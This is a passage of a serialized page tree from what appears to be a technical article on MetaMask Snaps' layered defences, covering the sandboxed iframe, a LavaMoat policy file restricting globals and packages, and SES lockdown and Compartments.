async",{"type":24,"tag":327,"props":43080,"children":43081},{"style":340},[43082],{"type":29,"value":43083}," initEnvStream",{"type":24,"tag":327,"props":43085,"children":43086},{"style":346},[43087],{"type":29,"value":349},{"type":24,"tag":327,"props":43089,"children":43090},{"style":356},[43091],{"type":29,"value":42910},{"type":24,"tag":327,"props":43093,"children":43094},{"style":346},[43095],{"type":29,"value":3459},{"type":24,"tag":327,"props":43097,"children":43098},{"style":356},[43099],{"type":29,"value":36375},{"type":24,"tag":327,"props":43101,"children":43102},{"style":346},[43103],{"type":29,"value":43104},"): ",{"type":24,"tag":327,"props":43106,"children":43107},{"style":1639},[43108],{"type":29,"value":43109},"Promise",{"type":24,"tag":327,"props":43111,"children":43112},{"style":346},[43113],{"type":29,"value":43114},"\u003C{\n",{"type":24,"tag":327,"props":43116,"children":43117},{"class":329,"line":367},[43118,43123,43127,43132],{"type":24,"tag":327,"props":43119,"children":43120},{"style":356},[43121],{"type":29,"value":43122},"    worker",{"type":24,"tag":327,"props":43124,"children":43125},{"style":381},[43126],{"type":29,"value":1636},{"type":24,"tag":327,"props":43128,"children":43129},{"style":1639},[43130],{"type":29,"value":43131}," Window",{"type":24,"tag":327,"props":43133,"children":43134},{"style":346},[43135],{"type":29,"value":405},{"type":24,"tag":327,"props":43137,"children":43138},{"class":329,"line":408},[43139,43144,43148,43153],{"type":24,"tag":327,"props":43140,"children":43141},{"style":356},[43142],{"type":29,"value":43143},"    stream",{"type":24,"tag":327,"props":43145,"children":43146},{"style":381},[43147],{"type":29,"value":1636},{"type":24,"tag":327,"props":43149,"children":43150},{"style":1639},[43151],{"type":29,"value":43152}," BasePostMessageStream",{"type":24,"tag":327,"props":43154,"children":43155},{"style":346},[43156],{"type":29,"value":405},{"type":24,"tag":327,"props":43158,"children":43159},{"class":329,"line":421},[43160],{"type":24,"tag":327,"props":43161,"children":43162},{"style":346},[43163],{"type":29,"value":43164},"  }> {\n",{"type":24,"tag":327,"props":43166,"children":43167},{"class":329,"line":450},[43168,43173,43178,43182,43186,43191,43195,43199,43203,43208,43212,43217,43221,43225],{"type":24,"tag":327,"props":43169,"children":43170},{"style":346},[43171],{"type":29,"value":43172},"    const ",{"type":24,"tag":327,"props":43174,"children":43175},{"style":356},[43176],{"type":29,"value":43177},"iframeWindow",{"type":24,"tag":327,"props":43179,"children":43180},{"style":381},[43181],{"type":29,"value":4809},{"type":24,"tag":327,"props":43183,"children":43184},{"style":425},[43185],{"type":29,"value":42924},{"type":24,"tag":327,"props":43187,"children":43188},{"style":340},[43189],{"type":29,"value":43190}," createWindow",{"type":24,"tag":327,"props":43192,"children":43193},{"style":346},[43194],{"type":29,"value":349},{"type":24,"tag":327,"props":43196,"children":43197},{"style":334},[43198],{"type":29,"value":25202},{"type":24,"tag":327,"props":43200,"children":43201},{"style":346},[43202],{"type":29,"value":66},{"type":24,"tag":327,"props":43204,"children":43205},{"style":356},[43206],{"type":29,"value":43207},"iframeUrl",{"type":24,"tag":327,"props":43209,"children":43210},{"style":346},[43211],{"type":29,"value":66},{"type":24,"tag":327,"props":43213,"children":43214},{"style":340},[43215],{"type":29,"value":43216},"toString",{"type":24,"tag":327,"props":43218,"children":43219},{"style":346},[43220],{"type":29,"value":25885},{"type":24,"tag":327,"props":43222,"children":43223},{"style":356},[43224],{"type":29,"value":42910},{"type":24,"tag":327,"props":43226,"children":43227},{"style":346},[43228],{"type":29,"value":583},{"type":24,"tag":327,"props":43230,"children":43231},{"class":329,"line":481},[43232],{"type":24,"tag":327,"props":43233,"children":43234},{"emptyLinePlaceholder":16},[43235],{"type":29,"value":544},{"type":24,"tag":327,"props":43237,"children":43238},{"class":329,"line":500},[43239,43243,43247,43251,43255,43260],{"type":24,"tag":327,"props":43240,"children":43241},{"style":346},[43242],{"type":29,"value":43172},{"type":24,"tag":327,"props":43244,"children":43245},{"style":356},[43246],{"type":29,"value":42974},{"type":24,"tag":327,"props":43248,"children":43249},{"style":381},[43250],{"type":29,"value":4809},{"type":24,"tag":327,"props":43252,"children":43253},{"style":334},[43254],{"type":29,"value":38643},{"type":24,"tag":327,"props":43256,"children":43257},{"style":340},[43258],{"type":29,"value":43259}," WindowPostMessageStream",{"type":24,"tag":327,"props":43261,"children":43262},{"style":346},[43263],{"type":29,"value":22664},{"type":24,"tag":327,"props":43265,"children":43266},{"class":329,"line":529},[43267,43272,43277],{"type":24,"tag":327,"props":43268,"children":43269},{"style":356},[43270],{"type":29,"value":43271},"      name:",{"type":24,"tag":327,"props":43273,"children":43274},{"style":844},[43275],{"type":29,"value":43276}," 'parent'",{"type":24,"tag":327,"props":43278,"children":43279},{"style":346},[43280],{"type":29,"value":2231},{"type":24,"tag":327,"props":43282,"children":43283},{"class":329,"line":538},[43284,43289,43294],{"type":24,"tag":327,"props":43285,"children":43286},{"style":356},[43287],{"type":29,"value":43288},"      target:",{"type":24,"tag":327,"props":43290,"children":43291},{"style":844},[43292],{"type":29,"value":43293}," 'child'",{"type":24,"tag":327,"props":43295,"children":43296},{"style":346},[43297],{"type":29,"value":2231},{"type":24,"tag":327,"props":43299,"children":43300},{"class":329,"line":547},[43301,43306,43311],{"type":24,"tag":327,"props":43302,"children":43303},{"style":356},[43304],{"type":29,"value":43305},"      targetWindow:",{"type":24,"tag":327,"props":43307,"children":43308},{"style":356},[43309],{"type":29,"value":43310}," iframeWindow",{"type":24,"tag":327,"props":43312,"children":43313},{"style":346},[43314],{"type":29,"value":2231},{"type":24,"tag":327,"props":43316,"children":43317},{"class":329,"line":557},[43318,43323,43328],{"type":24,"tag":327,"props":43319,"children":43320},{"style":356},[43321],{"type":29,"value":43322},"      targetOrigin:",{"type":24,"tag":327,"props":43324,"children":43325},{"style":844},[43326],{"type":29,"value":43327}," '*'",{"type":24,"tag":327,"props":43329,"children":43330},{"style":346},[43331],{"type":29,"value":2231},{"type":24,"tag":327,"props":43333,"children":43334},{"class":329,"line":586},[43335],{"type":24,"tag":327,"props":43336,"children":43337},{"style":346},[43338],{"type":29,"value":38967},{"type":24,"tag":327,"props":43340,"children":43341},{"class":329,"line":1017},[43342],{"type":24,"tag":327,"props":43343,"children":43344},{"emptyLinePlaceholder":16},[43345],{"type":29,"value":544},{"type":24,"tag":327,"props":43347,"children":43348},{"class":329,"line":1026},[43349,43354,43358,43362,43366],{"type":24,"tag":327,"props":43350,"children":43351},{"style":346},[43352],{"type":29,"value":43353},"    return { worker: ",{"type":24,"tag":327,"props":43355,"children":43356},{"style":356},[43357],{"type":29,"value":43177},{"type":24,"tag":327,"props":43359,"children":43360},{"style":346},[43361],{"type":29,"value":2744},{"type":24,"tag":327,"props":43363,"children":43364},{"style":356},[43365],{"type":29,"value":42974},{"type":24,"tag":327,"props":43367,"children":43368},{"style":346},[43369],{"type":29,"value":25809},{"type":24,"tag":327,"props":43371,"children":43372},{"class":329,"line":1048},[43373],{"type":24,"tag":327,"props":43374,"children":43375},{"style":346},[43376],{"type":29,"value":13439},{"type":24,"tag":25,"props":43378,"children":43379},{},[43380,43382,43388,43390,43397],{"type":29,"value":43381},"Here the iframe is created via ",{"type":24,"tag":284,"props":43383,"children":43385},{"className":43384},[],[43386],{"type":29,"value":43387},"createWindow",{"type":29,"value":43389},", which is defined in snaps-utils ",{"type":24,"tag":57,"props":43391,"children":43394},{"href":43392,"rel":43393},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[61],[43395],{"type":29,"value":43396},"package",{"type":29,"value":1636},{"type":24,"tag":317,"props":43399,"children":43401},{"className":42643,"code":43400,"language":42645,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[43402],{"type":24,"tag":284,"props":43403,"children":43404},{"__ignoreMap":7},[43405,43448,43486,43523,43530,43550,43588,43595,43632],{"type":24,"tag":327,"props":43406,"children":43407},{"class":329,"line":330},[43408,43412,43417,43421,43426,43430,43435,43439,43444],{"type":24,"tag":327,"props":43409,"children":43410},{"style":334},[43411],{"type":29,"value":17202},{"type":24,"tag":327,"props":43413,"children":43414},{"style":356},[43415],{"type":29,"value":43416}," iframe",{"type":24,"tag":327,"props":43418,"children":43419},{"style":381},[43420],{"type":29,"value":4809},{"type":24,"tag":327,"props":43422,"children":43423},{"style":356},[43424],{"type":29,"value":43425}," document",{"type":24,"tag":327,"props":43427,"children":43428},{"style":346},[43429],{"type":29,"value":66},{"type":24,"tag":327,"props":43431,"children":43432},{"style":340},[43433],{"type":29,"value":43434},"createElement",{"type":24,"tag":327,"props":43436,"children":43437},{"style":346},[43438],{"type":29,"value":349},{"type":24,"tag":327,"props":43440,"children":43441},{"style":844},[43442],{"type":29,"value":43443},"'iframe'",{"type":24,"tag":327,"props":43445,"children":43446},{"style":346},[43447],{"type":29,"value":583},{"type":24,"tag":327,"props":43449,"children":43450},{"class":329,"line":367},[43451,43456,43460,43465,43469,43474,43478,43482],{"type":24,"tag":327,"props":43452,"children":43453},{"style":356},[43454],{"type":29,"value":43455},"    iframe",{"type":24,"tag":327,"props":43457,"children":43458},{"style":346},[43459],{"type":29,"value":66},{"type":24,"tag":327,"props":43461,"children":43462},{"style":340},[43463],{"type":29,"value":43464},"setAttribute",{"type":24,"tag":327,"props":43466,"children":43467},{"style":346},[43468],{"type":29,"value":349},{"type":24,"tag":327,"props":43470,"children":43471},{"style":844},[43472],{"type":29,"value":43473},"'id'",{"type":24,"tag":327,"props":43475,"children":43476},{"style":346},[43477],{"type":29,"value":2744},{"type":24,"tag":327,"props":43479,"children":43480},{"style":356},[43481],{"type":29,"value":11085},{"type":24,"tag":327,"props":43483,"children":43484},{"style":346},[43485],{"type":29,"value":583},{"type":24,"tag":327,"props":43487,"children":43488},{"class":329,"line":408},[43489,43493,43497,43501,43505,43510,43514,43519],{"type":24,"tag":327,"props":43490,"children":43491},{"style":356},[43492],{"type":29,"value":43455},{"type":24,"tag":327,"props":43494,"children":43495},{"style":346},[43496],{"type":29,"value":66},{"type":24,"tag":327,"props":43498,"children":43499},{"style":340},[43500],{"type":29,"value":43464},{"type":24,"tag":327,"props":43502,"children":43503},{"style":346},[43504],{"type":29,"value":349},{"type":24,"tag":327,"props":43506,"children":43507},{"style":844},[43508],{"type":29,"value":43509},"'data-testid'",{"type":24,"tag":327,"props":43511,"children":43512},{"style":346},[43513],{"type":29,"value":2744},{"type":24,"tag":327,"props":43515,"children":43516},{"style":844},[43517],{"type":29,"value":43518},"'snaps-iframe'",{"type":24,"tag":327,"props":43520,"children":43521},{"style":346},[43522],{"type":29,"value":583},{"type":24,"tag":327,"props":43524,"children":43525},{"class":329,"line":421},[43526],{"type":24,"tag":327,"props":43527,"children":43528},{"emptyLinePlaceholder":16},[43529],{"type":29,"value":544},{"type":24,"tag":327,"props":43531,"children":43532},{"class":329,"line":450},[43533,43537,43541,43546],{"type":24,"tag":327,"props":43534,"children":43535},{"style":425},[43536],{"type":29,"value":428},{"type":24,"tag":327,"props":43538,"children":43539},{"style":346},[43540],{"type":29,"value":5894},{"type":24,"tag":327,"props":43542,"children":43543},{"style":356},[43544],{"type":29,"value":43545},"sandbox",{"type":24,"tag":327,"props":43547,"children":43548},{"style":346},[43549],{"type":29,"value":364},{"type":24,"tag":327,"props":43551,"children":43552},{"class":329,"line":481},[43553,43558,43562,43566,43570,43575,43579,43584],{"type":24,"tag":327,"props":43554,"children":43555},{"style":356},[43556],{"type":29,"value":43557},"      iframe",{"type":24,"tag":327,"props":43559,"children":43560},{"style":346},[43561],{"type":29,"value":66},{"type":24,"tag":327,"props":43563,"children":43564},{"style":340},[43565],{"type":29,"value":43464},{"type":24,"tag":327,"props":43567,"children":43568},{"style":346},[43569],{"type":29,"value":349},{"type":24,"tag":327,"props":43571,"children":43572},{"style":844},[43573],{"type":29,"value":43574},"'sandbox'",{"type":24,"tag":327,"props":43576,"children":43577},{"style":346},[43578],{"type":29,"value":2744},{"type":24,"tag":327,"props":43580,"children":43581},{"style":844},[43582],{"type":29,"value":43583},"'allow-scripts'",{"type":24,"tag":327,"props":43585,"children":43586},{"style":346},[43587],{"type":29,"value":583},{"type":24,"tag":327,"props":43589,"children":43590},{"class":329,"line":500},[43591],{"type":24,"tag":327,"props":43592,"children":43593},{"style":346},[43594],{"type":29,"value":535},{"type":24,"tag":327,"props":43596,"children":43597},{"class":329,"line":529},[43598,43602,43606,43610,43614,43619,43623,43628],{"type":24,"tag":327,"props":43599,"children":43600},{"style":356},[43601],{"type":29,"value":43455},{"type":24,"tag":327,"props":43603,"children":43604},{"style":346},[43605],{"type":29,"value":66},{"type":24,"tag":327,"props":43607,"children":43608},{"style":340},[43609],{"type":29,"value":43464},{"type":24,"tag":327,"props":43611,"children":43612},{"style":346},[43613],{"type":29,"value":349},{"type":24,"tag":327,"props":43615,"children":43616},{"style":844},[43617],{"type":29,"value":43618},"'src'",{"type":24,"tag":327,"props":43620,"children":43621},{"style":346},[43622],{"type":29,"value":2744},{"type":24,"tag":327,"props":43624,"children":43625},{"style":356},[43626],{"type":29,"value":43627},"uri",{"type":24,"tag":327,"props":43629,"children":43630},{"style":346},[43631],{"type":29,"value":583},{"type":24,"tag":327,"props":43633,"children":43634},{"class":329,"line":538},[43635,43639,43643,43647,43651,43656,43660,43665],{"type":24,"tag":327,"props":43636,"children":43637},{"style":356},[43638],{"type":29,"value":41385},{"type":24,"tag":327,"props":43640,"children":43641},{"style":346},[43642],{"type":29,"value":66},{"type":24,"tag":327,"props":43644,"children":43645},{"style":356},[43646],{"type":29,"value":39110},{"type":24,"tag":327,"props":43648,"children":43649},{"style":346},[43650],{"type":29,"value":66},{"type":24,"tag":327,"props":43652,"children":43653},{"style":340},[43654],{"type":29,"value":43655},"appendChild",{"type":24,"tag":327,"props":43657,"children":43658},{"style":346},[43659],{"type":29,"value":349},{"type":24,"tag":327,"props":43661,"children":43662},{"style":356},[43663],{"type":29,"value":43664},"iframe",{"type":24,"tag":327,"props":43666,"children":43667},{"style":346},[43668],{"type":29,"value":583},{"type":24,"tag":25,"props":43670,"children":43671},{},[43672],{"type":29,"value":43673},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":24,"tag":235,"props":43675,"children":43677},{"id":43676},"lavamoat-against-supply-chain-attacks-layer-2",[43678],{"type":29,"value":43679},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":24,"tag":25,"props":43681,"children":43682},{},[43683],{"type":29,"value":43684},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":24,"tag":25,"props":43686,"children":43687},{},[43688,43690,43696],{"type":29,"value":43689},"Malicious dependencies might utilize built-in modules like ",{"type":24,"tag":284,"props":43691,"children":43693},{"className":43692},[],[43694],{"type":29,"value":43695},"fs",{"type":29,"value":43697},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":24,"tag":25,"props":43699,"children":43700},{},[43701],{"type":29,"value":43702},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":24,"tag":25,"props":43704,"children":43705},{},[43706,43708,43715],{"type":29,"value":43707},"This is how a Policy file related to the iframes ",{"type":24,"tag":57,"props":43709,"children":43712},{"href":43710,"rel":43711},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[61],[43713],{"type":29,"value":43714},"looks",{"type":29,"value":1636},{"type":24,"tag":317,"props":43717,"children":43719},{"className":40707,"code":43718,"language":40709,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[43720],{"type":24,"tag":284,"props":43721,"children":43722},{"__ignoreMap":7},[43723,43736,43748,43768,43788,43808,43828,43848,43868,43888,43905,43913,43925,43945,43961,43968],{"type":24,"tag":327,"props":43724,"children":43725},{"class":329,"line":330},[43726,43731],{"type":24,"tag":327,"props":43727,"children":43728},{"style":844},[43729],{"type":29,"value":43730},"\"@metamask/post-message-stream\"",{"type":24,"tag":327,"props":43732,"children":43733},{"style":346},[43734],{"type":29,"value":43735},": {\n",{"type":24,"tag":327,"props":43737,"children":43738},{"class":329,"line":367},[43739,43744],{"type":24,"tag":327,"props":43740,"children":43741},{"style":356},[43742],{"type":29,"value":43743},"      \"globals\"",{"type":24,"tag":327,"props":43745,"children":43746},{"style":346},[43747],{"type":29,"value":43735},{"type":24,"tag":327,"props":43749,"children":43750},{"class":329,"line":408},[43751,43756,43760,43764],{"type":24,"tag":327,"props":43752,"children":43753},{"style":356},[43754],{"type":29,"value":43755},"        \"MessageEvent.prototype\"",{"type":24,"tag":327,"props":43757,"children":43758},{"style":346},[43759],{"type":29,"value":3459},{"type":24,"tag":327,"props":43761,"children":43762},{"style":334},[43763],{"type":29,"value":2961},{"type":24,"tag":327,"props":43765,"children":43766},{"style":346},[43767],{"type":29,"value":2231},{"type":24,"tag":327,"props":43769,"children":43770},{"class":329,"line":421},[43771,43776,43780,43784],{"type":24,"tag":327,"props":43772,"children":43773},{"style":356},[43774],{"type":29,"value":43775},"        \"WorkerGlobalScope\"",{"type":24,"tag":327,"props":43777,"children":43778},{"style":346},[43779],{"type":29,"value":3459},{"type":24,"tag":327,"props":43781,"children":43782},{"style":334},[43783],{"type":29,"value":2961},{"type":24,"tag":327,"props":43785,"children":43786},{"style":346},[43787],{"type":29,"value":2231},{"type":24,"tag":327,"props":43789,"children":43790},{"class":329,"line":450},[43791,43796,43800,43804],{"type":24,"tag":327,"props":43792,"children":43793},{"style":356},[43794],{"type":29,"value":43795},"        \"addEventListener\"",{"type":24,"tag":327,"props":43797,"children":43798},{"style":346},[43799],{"type":29,"value":3459},{"type":24,"tag":327,"props":43801,"children":43802},{"style":334},[43803],{"type":29,"value":2961},{"type":24,"tag":327,"props":43805,"children":43806},{"style":346},[43807],{"type":29,"value":2231},{"type":24,"tag":327,"props":43809,"children":43810},{"class":329,"line":481},[43811,43816,43820,43824],{"type":24,"tag":327,"props":43812,"children":43813},{"style":356},[43814],{"type":29,"value":43815},"        \"browser\"",{"type":24,"tag":327,"props":43817,"children":43818},{"style":346},[43819],{"type":29,"value":3459},{"type":24,"tag":327,"props":43821,"children":43822},{"style":334},[43823],{"type":29,"value":2961},{"type":24,"tag":327,"props":43825,"children":43826},{"style":346},[43827],{"type":29,"value":2231},{"type":24,"tag":327,"props":43829,"children":43830},{"class":329,"line":500},[43831,43836,43840,43844],{"type":24,"tag":327,"props":43832,"children":43833},{"style":356},[43834],{"type":29,"value":43835},"        \"chrome\"",{"type":24,"tag":327,"props":43837,"children":43838},{"style":346},[43839],{"type":29,"value":3459},{"type":24,"tag":327,"props":43841,"children":43842},{"style":334},[43843],{"type":29,"value":2961},{"type":24,"tag":327,"props":43845,"children":43846},{"style":346},[43847],{"type":29,"value":2231},{"type":24,"tag":327,"props":43849,"children":43850},{"class":329,"line":529},[43851,43856,43860,43864],{"type":24,"tag":327,"props":43852,"children":43853},{"style":356},[43854],{"type":29,"value":43855},"        \"location.origin\"",{"type":24,"tag":327,"props":43857,"children":43858},{"style":346},[43859],{"type":29,"value":3459},{"type":24,"tag":327,"props":43861,"children":43862},{"style":334},[43863],{"type":29,"value":2961},{"type":24,"tag":327,"props":43865,"children":43866},{"style":346},[43867],{"type":29,"value":2231},{"type":24,"tag":327,"props":43869,"children":43870},{"class":329,"line":538},[43871,43876,43880,43884],{"type":24,"tag":327,"props":43872,"children":43873},{"style":356},[43874],{"type":29,"value":43875},"        \"postMessage\"",{"type":24,"tag":327,"props":43877,"children":43878},{"style":346},[43879],{"type":29,"value":3459},{"type":24,"tag":327,"props":43881,"children":43882},{"style":334},[43883],{"type":29,"value":2961},{"type":24,"tag":327,"props":43885,"children":43886},{"style":346},[43887],{"type":29,"value":2231},{"type":24,"tag":327,"props":43889,"children":43890},{"class":329,"line":547},[43891,43896,43900],{"type":24,"tag":327,"props":43892,"children":43893},{"style":356},[43894],{"type":29,"value":43895},"        \"removeEventListener\"",{"type":24,"tag":327,"props":43897,"children":43898},{"style":346},[43899],{"type":29,"value":3459},{"type":24,"tag":327,"props":43901,"children":43902},{"style":334},[43903],{"type":29,"value":43904},"true\n",{"type":24,"tag":327,"props":43906,"children":43907},{"class":329,"line":557},[43908],{"type":24,"tag":327,"props":43909,"children":43910},{"style":346},[43911],{"type":29,"value":43912},"      },\n",{"type":24,"tag":327,"props":43914,"children":43915},{"class":329,"line":586},[43916,43921],{"type":24,"tag":327,"props":43917,"children":43918},{"style":356},[43919],{"type":29,"value":43920},"      \"packages\"",{"type":24,"tag":327,"props":43922,"children":43923},{"style":346},[43924],{"type":29,"value":43735},{"type":24,"tag":327,"props":43926,"children":43927},{"class":329,"line":1017},[43928,43933,43937,43941],{"type":24,"tag":327,"props":43929,"children":43930},{"style":356},[43931],{"type":29,"value":43932},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":24,"tag":327,"props":43934,"children":43935},{"style":346},[43936],{"type":29,"value":3459},{"type":24,"tag":327,"props":43938,"children":43939},{"style":334},[43940],{"type":29,"value":2961},{"type":24,"tag":327,"props":43942,"children":43943},{"style":346},[43944],{"type":29,"value":2231},{"type":24,"tag":327,"props":43946,"children":43947},{"class":329,"line":1026},[43948,43953,43957],{"type":24,"tag":327,"props":43949,"children":43950},{"style":356},[43951],{"type":29,"value":43952},"        \"@metamask/post-message-stream>readable-stream\"",{"type":24,"tag":327,"props":43954,"children":43955},{"style":346},[43956],{"type":29,"value":3459},{"type":24,"tag":327,"props":43958,"children":43959},{"style":334},[43960],{"type":29,"value":43904},{"type":24,"tag":327,"props":43962,"children":43963},{"class":329,"line":1048},[43964],{"type":24,"tag":327,"props":43965,"children":43966},{"style":346},[43967],{"type":29,"value":20208},{"type":24,"tag":327,"props":43969,"children":43970},{"class":329,"line":1067},[43971],{"type":24,"tag":327,"props":43972,"children":43973},{"style":346},[43974],{"type":29,"value":535},{"type":24,"tag":25,"props":43976,"children":43977},{},[43978,43980,43986,43988,43994,43996,44002,44004,44010,44011,44017],{"type":29,"value":43979},"One crucial aspect of the policy, apart from the ",{"type":24,"tag":284,"props":43981,"children":43983},{"className":43982},[],[43984],{"type":29,"value":43985},"globals",{"type":29,"value":43987}," section, is the ",{"type":24,"tag":284,"props":43989,"children":43991},{"className":43990},[],[43992],{"type":29,"value":43993},"packages",{"type":29,"value":43995}," segment. This section permits the ",{"type":24,"tag":284,"props":43997,"children":43999},{"className":43998},[],[44000],{"type":29,"value":44001},"@metamask/post-message-stream",{"type":29,"value":44003},"package to exclusively interact with the package ",{"type":24,"tag":284,"props":44005,"children":44007},{"className":44006},[],[44008],{"type":29,"value":44009},"@metamask/utils",{"type":29,"value":1323},{"type":24,"tag":284,"props":44012,"children":44014},{"className":44013},[],[44015],{"type":29,"value":44016},"readable-stream",{"type":29,"value":44018},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":24,"tag":25,"props":44020,"children":44021},{},[44022,44024,44030],{"type":29,"value":44023},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":24,"tag":284,"props":44025,"children":44027},{"className":44026},[],[44028],{"type":29,"value":44029},"lockdown",{"type":29,"value":44031}," function to freeze all javascript builtins prototypes.",{"type":24,"tag":235,"props":44033,"children":44035},{"id":44034},"secure-ecmascript-ses-sandbox-layer-3",[44036],{"type":29,"value":44037},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":24,"tag":25,"props":44039,"children":44040},{},[44041,44043,44050],{"type":29,"value":44042},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":24,"tag":57,"props":44044,"children":44047},{"href":44045,"rel":44046},"https://github.com/endojs/endo/tree/master/packages/ses",[61],[44048],{"type":29,"value":44049},"Secure EcmaScript (SES)",{"type":29,"value":44051}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":24,"tag":168,"props":44053,"children":44055},{"id":44054},"ses-fundamentals",[44056],{"type":29,"value":44057},"SES Fundamentals",{"type":24,"tag":44059,"props":44060,"children":44061},"h5",{"id":44029},[44062],{"type":29,"value":44063},"Lockdown",{"type":24,"tag":25,"props":44065,"children":44066},{},[44067,44069,44075],{"type":29,"value":44068},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":24,"tag":284,"props":44070,"children":44072},{"className":44071},[],[44073],{"type":29,"value":44074},"lockdown()",{"type":29,"value":44076}," function, which protects javascript objects against some attacks, mainly:",{"type":24,"tag":175,"props":44078,"children":44079},{},[44080,44093],{"type":24,"tag":179,"props":44081,"children":44082},{},[44083,44085,44091],{"type":29,"value":44084},"Prototype Pollution\nLockdown executes ",{"type":24,"tag":284,"props":44086,"children":44088},{"className":44087},[],[44089],{"type":29,"value":44090},"Object.freeze",{"type":29,"value":44092}," against all javascript builtins prototypes, preventing these attacks.",{"type":24,"tag":179,"props":44094,"children":44095},{},[44096,44098,44104,44106,44112],{"type":29,"value":44097},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":24,"tag":284,"props":44099,"children":44101},{"className":44100},[],[44102],{"type":29,"value":44103},"trace",{"type":29,"value":44105}," attribute in an ",{"type":24,"tag":284,"props":44107,"children":44109},{"className":44108},[],[44110],{"type":29,"value":44111},"Error",{"type":29,"value":44113}," object, which contains the stack trace of the error.",{"type":24,"tag":44059,"props":44115,"children":44117},{"id":44116},"compartment",[44118],{"type":29,"value":44119},"Compartment",{"type":24,"tag":25,"props":44121,"children":44122},{},[44123,44125,44131,44133,44138],{"type":29,"value":44124},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":24,"tag":284,"props":44126,"children":44128},{"className":44127},[],[44129],{"type":29,"value":44130},"globalThis",{"type":29,"value":44132}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":24,"tag":284,"props":44134,"children":44136},{"className":44135},[],[44137],{"type":29,"value":44130},{"type":29,"value":44139}," context is incapable of tampering with security.",{"type":24,"tag":317,"props":44141,"children":44143},{"className":42326,"code":44142,"language":42328,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[44144],{"type":24,"tag":284,"props":44145,"children":44146},{"__ignoreMap":7},[44147,44176,44209],{"type":24,"tag":327,"props":44148,"children":44149},{"class":329,"line":330},[44150,44154,44159,44163,44167,44172],{"type":24,"tag":327,"props":44151,"children":44152},{"style":334},[44153],{"type":29,"value":17202},{"type":24,"tag":327,"props":44155,"children":44156},{"style":356},[44157],{"type":29,"value":44158}," c",{"type":24,"tag":327,"props":44160,"children":44161},{"style":381},[44162],{"type":29,"value":4809},{"type":24,"tag":327,"props":44164,"children":44165},{"style":334},[44166],{"type":29,"value":38643},{"type":24,"tag":327,"props":44168,"children":44169},{"style":340},[44170],{"type":29,"value":44171}," Compartment",{"type":24,"tag":327,"props":44173,"children":44174},{"style":346},[44175],{"type":29,"value":4838},{"type":24,"tag":327,"props":44177,"children":44178},{"class":329,"line":367},[44179,44183,44187,44191,44195,44200,44204],{"type":24,"tag":327,"props":44180,"children":44181},{"style":356},[44182],{"type":29,"value":320},{"type":24,"tag":327,"props":44184,"children":44185},{"style":346},[44186],{"type":29,"value":66},{"type":24,"tag":327,"props":44188,"children":44189},{"style":356},[44190],{"type":29,"value":44130},{"type":24,"tag":327,"props":44192,"children":44193},{"style":381},[44194],{"type":29,"value":38132},{"type":24,"tag":327,"props":44196,"children":44197},{"style":356},[44198],{"type":29,"value":44199}," globalThis",{"type":24,"tag":327,"props":44201,"children":44202},{"style":346},[44203],{"type":29,"value":9866},{"type":24,"tag":327,"props":44205,"children":44206},{"style":551},[44207],{"type":29,"value":44208},"// false\n",{"type":24,"tag":327,"props":44210,"children":44211},{"class":329,"line":408},[44212,44216,44220,44224,44228,44233,44237,44242,44246],{"type":24,"tag":327,"props":44213,"children":44214},{"style":356},[44215],{"type":29,"value":320},{"type":24,"tag":327,"props":44217,"children":44218},{"style":346},[44219],{"type":29,"value":66},{"type":24,"tag":327,"props":44221,"children":44222},{"style":356},[44223],{"type":29,"value":44130},{"type":24,"tag":327,"props":44225,"children":44226},{"style":346},[44227],{"type":29,"value":66},{"type":24,"tag":327,"props":44229,"children":44230},{"style":356},[44231],{"type":29,"value":44232},"JSON",{"type":24,"tag":327,"props":44234,"children":44235},{"style":381},[44236],{"type":29,"value":38132},{"type":24,"tag":327,"props":44238,"children":44239},{"style":356},[44240],{"type":29,"value":44241}," JSON",{"type":24,"tag":327,"props":44243,"children":44244},{"style":346},[44245],{"type":29,"value":9866},{"type":24,"tag":327,"props":44247,"children":44248},{"style":551},[44249],{"type":29,"value":44250},"// true\n",{"type":24,"tag":25,"props":44252,"children":44253},{},[44254,44256,44262,44264,44270,44272,44277],{"type":29,"value":44255},"Compartment also changes the 